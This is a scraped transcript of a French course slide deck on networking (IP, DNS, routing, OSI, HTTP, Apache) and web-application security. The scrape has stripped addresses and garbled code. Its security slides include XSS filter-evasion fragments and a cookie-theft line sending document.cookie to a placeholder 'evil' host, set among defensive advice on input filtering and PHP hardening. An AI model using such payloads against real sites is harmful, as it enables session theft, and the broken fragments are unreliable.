La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard 1 Bureau recherche Numérica.

Présentations similaires


Présentation au sujet: "Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard 1 Bureau recherche Numérica."— Transcription de la présentation:

1 Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard 1 Bureau recherche Numérica Bureau Enseignement Département R&T Certains transparents de Didier Donsez sur HTTP

2    www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf  2

3  Votre métier repose sur les technologies réseau  Donner une idée des technologies réseau pour : ◦ Avoir un socle commun pour dialoguer avec les autres ◦ Comprendre un minimum ce qui se passe au niveau physique ◦ Etre capable de se débrouiller pour certaines opérations (Serveur web, DNS, serveur FTP, etc.) 3

4 4

5 5 ? Où trouver ? Que veut-elle comme service ? Que faut-il lui envoyer ?

6 6 ? Où trouver ? Que veut-elle comme service ? Que faut-il lui envoyer ?

7 7/23 Le LAN (Local Area Network) ou réseau local Internet Contient des liaisons WAN (Wide area networks)

8  Toute machine connectée à internet a une adresse IP (Internet Protocol)  C’est une adresse composée de 4 chiffres (0-255) séparés par des points  Par exemple : ◦ Serveur web SRC, ◦ Serveur web pôle, ◦ Serveur R&T, (

9       Adresse réseau Adresse machine

10  Comment différencier réseau de machine ? ◦ A est associé un masque de sous-réseau (netmask) ◦ seule ne suffit donc pas !  Le netmask sert à éliminer machine de IP 10

11        Ces trois adresses ont le même netmask ◦ Adresse réseau Adresse machine

12        On obtient que réseau, mais à quoi ça sert ? 12 & &

13 13

14 14 )

15 15 Le LAN (Local Area Network) ou réseau local Internet Contient des liaisons WAN (Wide area

16  On sait que : ◦ Les réseaux sont structurés en LAN/WAN ◦ Chaque appareil connecté à internet possède une adresse IP et un netmask  Problème : ◦ n’est pas une adresse IP… 16

17  Domain Name System ◦ Protocole de communication ◦ Ensemble de serveurs  Permet de faire la conversion entre un nom alphabétique et une adresse IP  Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS ! 17 (

18  Host (linux) ou nslookup (windows) affichent la correspondance 26 Démarrer -> Exécuter -> cmd, puis : C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Réponse ne faisant pas autorité : Nom : Addresses: , , Aliases:

19  L'inverse est aussi possible…  … et on l’appelle reverse DNS 19 C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Nom : nf-in-f147.google.com Address:

20  Au début de l'Internet : espace à plat (fichier HOSTS.TXT) ◦ taille énorme ◦ conflits de noms  Actuellement : espace hiérarchique  Format des noms : (x 1.x 2...x N ).y.z ◦ Avec au minimum 2 mots, et <63 carac.  Exemple : ◦ google.com, pu-pm.univ-fcomte.fr  non sensible à la casse (case insensitive) 20

21  Format des noms : (x 1.x 2...x N ).y.z ◦ Valeurs de z : ◦ com, org, net, gov, eu,... : international ◦ fr, ro, es, uk, de,... : par pays ◦ vous pouvez donner un nom en.ro à votre site alors qu'il est hébergé en Suisse (et que vous habitez en France) ! 21

22  gTLD : Generic Top Level Domain  ccTLD : Country Code Top Level Domain 22 Noms gTLD ICANN gTLD ICANN ccTLD Autorité nationale ccTLD Autorité nationale Registrar (joker.com) Registrar (joker.com) Registrar (gandi.net) Registrar (gandi.net) Registrar (fc-net.fr) Registrar (fc-net.fr) …

23 23 Noms gTLD ICANN gTLD ICANN ccTLD Autorité nationale ccTLD Autorité nationale Registrar (joker.com) Registrar (joker.com) Registrar (gandi.net) Registrar (gandi.net) Registrar (fc-net.fr) Registrar (fc-net.fr) …  Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD  AFNIC pour les domaines.fr et.re

24 24 Source )

25 25 Le LAN (Local Area Network) ou réseau local Internet Contient des liaisons WAN (Wide =

26  On sait que : ◦ Les réseaux sont structurés en LAN/WAN ◦ Chaque appareil connecté à internet possède une adresse IP et un netmask ◦ L’adresse IP de s’obtient en interrogeant le DNSwww.google.com  Problème : ◦ Où trouver l’adresse sur internet ? 26

27  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 27

28  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 28 Si je veux aller là… La prochaine étape est… Pour y arriver je dois passer par…

29  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 29 Si je veux aller sur ma machine La prochaine étape est mon loopback Pour y arriver je dois passer par mon loopback

30  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 30 Si je veux aller sur mon LAN La prochaine étape est mon routeur interne Pour y arriver je dois passer par mon interface WiFi

31  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 31 Si je veux aller n’importe où ailleurs La prochaine étape est mon routeur externe Pour y arriver je dois passer par mon interface WiFi

32  Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection =========================================================================== Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : =========================================================================== 32 C’est le sens de la passerelle par défaut !

33  On sait que : ◦ Les réseaux sont structurés en LAN/WAN ◦ Chaque appareil connecté à internet possède une adresse IP et un netmask ◦ L’adresse IP de s’obtient en interrogeant le DNSwww.google.com ◦ L’adresse n’est pas sur notre LAN  Problème : ◦ Comment trouver son chemin sur internet ? 33

34 34 Internet Contient des liaisons WAN (Wide = Envoi à

35 = Routeurs

36 36 = ?

37 37 Source : VisualRoute 26 routeurs SRC Google

38 38 = ? Routage dynamique

39 Physique Liaison Réseau Transport Session Présentation Application Couche 1 : Interfacage avec le support physique  Codage et décodage du signal  Gestion début et fin des trames  Conversion données en signaux

40 Physique Liaison Réseau Transport Session Présentation ApplicationCouche 1 : Interfacage avec le support physique  Appareil réseau : Concentrateur (Hub)  Renvoie à tous le monde tous les paquets  Topologie physique en étoile, topologie logique en bus

41 Physique Liaison Réseau Transport Session Présentation ApplicationCouche 2 : sous-couche MAC  Medium Access Control  Conversion des données en trames adaptées au support  Gestion des adresses physiques (adresses MAC) MAC LLC

42 Physique Liaison Réseau Transport Session Présentation ApplicationCouche 2 : sous-couche MAC  Medium Access Control  Conversion des données en trames adaptées au support  Gestion des adresses physiques (adresses MAC) MAC LLC

43 Physique Liaison Réseau Transport Session Présentation ApplicationCouche 2 : sous-couche LLC  Appareil réseau : commutateur (switch)  Utilise les adresses MAC pour router les paquets MAC LLC

44 Physique Réseau Transport Session Présentation ApplicationCouche 3 : Adressage, nommage et routage  IP (Internet Protocol)  Adresse unique pour une machine  Conversion physique/logique  Routage, choix de la destination des paquets Liaison

45 Physique Réseau Transport Session Présentation ApplicationCouche 3 : Adressage, nommage et routage  Appareil réseau : routeur  Utilise les adresses réseaux  Utilise des protocoles de routage (RIP, OSPF, BGP, etc.) Liaison

46 Physique Réseau Transport Session Présentation ApplicationCouche 4 : Transport  TCP (Transport Control Protocol)  Reséquencement des paquets  Etablissement, maintien et fermeture des liaisons  Contrôle de flux et d'erreur  UDP (User Datagram Protocol)  Mode non-connecté  Pas de contrôle de flux, etc. Liaison

47  Plusieurs centaines de milliers de serveurs  Choix du serveur par un load-balancer 47

48  Qui est le leader des serveurs web ? ◦ Apache  Quelle est sa part de marché en 2007 ? ◦ 57%  D’où vient son nom ? ◦ A patchy serveur 48 (

49 49

50 50  Modularité  Fiabilité égale aux produits commerciaux (0.53 erreur par 100 lignes de code)  Open source (tuning possible)  Multi plate-formes  Mauvais départ de IIS principal concurrent  Performances

51 51  httpd_core  mod_access  mod_auth  mod_dir  mod_log_config  mod_mime )

52 ?

53  On sait comment trouver le serveur web  On peut lui envoyer des informations  Mais comment lui demander une page web ? 53

54  HyperText Transfer Protocol  Protocole basé sur des messages en texte ◦ Facilement compréhensible  Permet de dialoguer avec un serveur web ◦ Stable et éprouvé  Historique :  HTTP/0.9 : T. Berners-Lee, 1991  RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996.  RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee. 1/1997.  RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-Lee. 6/1999.  RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May  RFC 2616bis : HTTP/1.1, 1/

55  N’importe quel outil réseau peut dialoguer en HTTP ◦ Netcat, telnet, …  Il suffit de connaître les commandes HTTP  … et de savoir déchiffrer les réponses du serveur 55

56 C:\>nc -v 80 [ ] 80 (http) open GET / HTTP/1.1 Host: HTTP/ OK Date: Tue, 28 Aug :12:33 GMT Server: Apache Last-Modified: Tue, 28 Aug :12:41 GMT ETag: W/"248d6-e6ad-46d3e0cf" Accept-Ranges: bytes Content-Length: Connection: close Content-Type: text/html; charset=iso X-Pad: avoid browser bug Bienvenue sur Free :) … 56 Commande netcat à taper Réponse de netcat Commande HTTP à taper Tapez 2x entrée pour envoyer la commande Réponse au format HTTP de suivi du code HTML de la page demandée

57  GET ◦ Récupération d ’un document  GET ou POST ◦ Soumission d ’un formulaire  PUT, DELETE, LINK, UNLINK ◦ Envoi de Document et Gestion de Site  HEAD ◦ Récupération des informations sur le document 57

58  OPTIONS ◦ Demande des options de communication disponibles  TRACE ◦ Retourne le corps de la requête intacte (déboguage)  CONNECT 58

59  Du client vers le serveur HTTP/ [ : ] [ 1024>] ligne blanche [corps de la requête pour la méthode POST]  Exemple 59 GET / HTTP/1.1 Host: Ligne blanche (tapez 2x entrée)

60  Du serveur vers le client HTTP/ Content-Type: [ : ] [ 1024>] Ligne blanche Document  Exemple 60 HTTP/ OK … Content-Type: text/html; charset=iso Bienvenue sur Free :) …

61  Informationnel ◦ 100 : Continue (le client peut envoyer la suite de la requête),...  Succès de la requête client ◦ 200: OK, 201: Created, 204 : No Content,...  Redirection de la Requête client ◦ 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy,...  Requête client incomplète ◦ 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found  Erreur Serveur ◦ 500: Server Error, 501: Not Implemented, ◦ 502: Bad Gateway, 503: Out Of Resources (Service Unavailable) 61

62 62 Internet DMZ FTP HTTP  Routeur avec filtrage niveau 3 et 4  Firewall avec filtrage applicatif  Authentification  Filtrage sélectif  Détection des intrusions IDS AAA

63 63  Cacher des informations ◦ ServerTokens Prod ◦ ServerSignature Off ◦ Redéfinir une page 404  C’est la base mais la plupart des serveurs ne le font pas !!!!

64 64  Accès aux répertoires order deny,allow deny from all order allow,deny allow from all

65 65  Exécuter apache avec les bons droits  Création d’un groupe et d’un utilisateur apache  But : Empêcher (ou retarder…) la propagation d’un exploit

66 66  Commande Unix : change root  Exécute une commande avec un répertoire racine spécifique  But : Emprisonner un programme dans son arborescence

67 67  Création d’une arborescence  Vérification des dépendances ( ldd )  Recopie des librairies  Recopie des fichiers de configs et spéciaux

68 68  Utilisation de debootstrap ◦ Permet d’installer une debian de base ◦ Evite les recopies fastidueuses ◦ Mais prend plus de place !

69 69  On se place dans le cas d’utilisateurs ou de programmes mal intentionnés  Technique du cheval de Troie ◦ Entrée camouflée ◦ Lors de l’exécution, prise de contrôle de l’application (affichage d’informations confidentielles, exécution de scripts, …)

70 70  Niveau administration des services ◦ Bloquer certaines fonctionnalités ◦ Imposer des limites (CPU, mémoire, etc.)  Linux PAM : Pluggable Authentication Modules  Niveau programmation ◦ Filtrage des entrées

71 71  Empêcher le changement de répertoire ◦ Interdire /,.. ou ~  Empêcher la divulgation d’informations ◦ Interdire le globbing (*, ?, [], {}) (ex: ftp)  Ex : ftp> ls *../*/../*../ ◦ Filtrer les noms de fichiers  --, caractères de controle, espace, encodage exotique, <, “, etc.

72 72  Cause majeure de trou de sécurité  Possibilité d’HTML sont énormes : ◦ Cross-site scripting ◦ Javascript ◦ … tout autre langage (flash, java, …)  Dans les pages HTML, mais surtout dans les mails (pas de sandbox) !  L’utilisateur charge une page sans connaitre son contenu !

73 73  Filtrer les caractères de contrôles des pages HTML  Définir une liste de balises sûres… ◦,,,,,,  … et éliminer les autres ◦,,,, …

74 74  Eliminer de manière intelligente : -->  Ou

75 75 [IE] & [code] &{[code]}; [N4] [N4] [IE] [N4] [code] ">

76 76 [IE] [Mozilla] [IE] [code] [N4] [IE] [code]//−−> [code] " onmouseover="[code]"> <script>[code]</script>; [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera] [code]//−−>

77 77  Htmlfilter  Programme PHP de filtrage

78 78  Phishing (Hameçonnage) ◦ Amener l’internaute sur un site web usurpé ◦ Soutirer des informations confidentielles  En France ◦ Fin 2004, condamnation d’un étudiant (1 an de prison et 8500 € d’amende) ◦ 40 sites de phishing en France  Voir

79 79  Un lien est-il sûr ?  URI scheme://authority[path][?query][#fragment]  Authority :

80 80  Exemple : om  Interdire les user/password  Limiter l’usage de ports exotiques  Comme pour HTML, mise en place de filtres !

81 81  Dépassement de tampon  Buffer : espace mémoire alloué pour des besoins temporaires  Espace mémoire = taille finie  Dépassement de cette taille peut permettre de prendre le contrôle de l’application

82 82  Risques réels : ◦ Netscape 4 : prise de contrôle à distance ◦ Windows NT : longueur des mots de passe ◦ Internet Explorer : redirection vers des pages non demandées (distribution de virus, vers, backdoor, etc.)

83 83  Pose problème surtout en C/C++  Peu de problèmes en Java  Si programmation en C/C++ : ◦ Utilisation de librairies spécifiques (libsafe) ◦ Utilisation d’outils de compilation spécifiques (StackGuard, ProPolice)

84 84  Génération de code HTML à partir d’entrées utilisateur  Exemples : ◦ Guestbook ◦ Commentaires de sites ◦ Etc.

85 85  Un attaquant envoie du code malveillant sur site web  Le site web publie ce code  Ce code est lu par la victime qui croit être sur un site “sûr”  Problème de confiance !

86 86 Source : Chris Shiflett,

87 87  Exemple : Vol de cookie  document.location = 'http://evil.example.org/steal- cookies.php' + '?cookies=' + document.cookie

88 88  Exemple : Mais qu’est-ce que ça fait ?  "> "); fclose($fp); } readfile('./messages.txt'); ?>

89 89  Solutions :  Filtrer les entrées d’un site ◦ Conversion de caractères ◦ Appliquer la règle de base de la sécurité : “Tout ce qui n’est pas autorisé est interdit.” ◦ Interdire les messages board ? :-)

90 90  htmlentities() : Convertit tous les caractères éligibles en entités HTML  strip_tags() : Supprime les balises HTML et PHP d'une chaîne  utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859

91 91 "> "); fclose($fp); } readfile('./safer.txt'); ?>

92 92  Langage relativement sûr de base  Sécurité en Java repose essentiellement sur les questions d’héritage

93 93  Enfonçons quelques portes ouvertes ensemble : ◦ Pas de variables en public -> private ◦ Pas de méthodes en public -> private pour empêcher la réception de données malveillantes ◦ Classes et méthodes doivent être terminales (final)

94 94  Encore : ◦ Classes non sérialisables private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); } ◦ Classes non désérialisables private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Class cannot be deserialized"); }

95 95  Mauvaise image au niveau sécurité  Provient principalement de raisons historiques plus ou moins anciennes  Au début (avant 4.1) pas beaucoup de préoccupations sécuritaires  PHP est jeune -> 1995  PHP a été créé de manière anarchique

96 96  Problèmes dans la gestion des variables ◦ Partage du même espace de nommage de toutes les variables ◦ Initialisation par défaut  Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables

97 97  Exemple :

98 98  Solution :  Utiliser au moins PHP ◦ register_globals Off

99 99  PHP mutualisé (fournisseur d’accès)  Apache en serveur web  Différents utilisateurs, différents scripts, mêmes droits !  + simple est d’utiliser le safe mode

100 100  Quand appel à fopen() : ◦ Vérification du propriétaire du script ◦ Correspondance propriétaire du fichier  Commandes limitées ◦ safe_mode_exec_dir  Variables environnement ◦ safe_mode_allowed_env_vars

101 101  Modification des variables d’environnement ◦ safe_mode_protected_env_vars ◦ putenv() modifie uniquement les variables PHP_  Fonctions interdites ◦ disable_functions (dl, symlink, virtual, etc.)

102 102 NomPar défautModifiable safe_mode "0"PHP_INI_SYSTEM safe_mode_gid "0"PHP_INI_SYSTEM safe_mode_include_dir NULLPHP_INI_SYSTEM safe_mode_exec_dir ""PHP_INI_SYSTEM safe_mode_allowed_env_vars PHP_PHP_INI_SYSTEM safe_mode_protected_env_vars LD_LIBRARY_PATHPHP_INI_SYSTEM open_basedir NULLPHP_INI_SYSTEM disable_functions ""PHP_INI_SYSTEM disable_classes “”PHP_INI_SYSTEM

103 103  Lister l’arborescence des fichiers ◦ Fixer un open_basedir

104 104  suPHP ◦ Module apache (mod_suphp) ◦ Exécutable (suPHP)  Permet d’exécuter les scripts PHP avec les droits de l’utilisateur

105 105  Plus besoin du safe mode, donc plus de restrictions au niveau du PHP  suPHP doit avoir les droits root…

106 106  Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions  Limiter les droits sur le système de fichier (noexec)

107 107  http est basé sur des échanges de messages texte en clair  Problème lors de l’échange de données sensibles ◦ Carte de crédit ◦ Mots de passe

108 108  Utilisation d’un port séparé : 443  Cryptage de tous les échanges avec SSL  Utilisation d’une clé de 128bits  Proposé par Netscape, en 1996 tentative de contre par Microsoft et STT

109 109  Installation : ◦ Apache ◦ Mod_ssl ◦ Openssl  … et ça marche !  Voir

110  Comment est-ce qu’on connait l’hôte que l’on doit contacter ? ◦ Par exemple, dedu.com et bourgeois.com sont hébergés chez Ouvaton ◦ Comment est-ce qu’ouvaton affiche la bonne page ?  Réponse : dans l’entête HTTP et on passe par des hotes virtuels 110/23


Télécharger ppt "Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard 1 Bureau recherche Numérica."

Présentations similaires


Annonces Google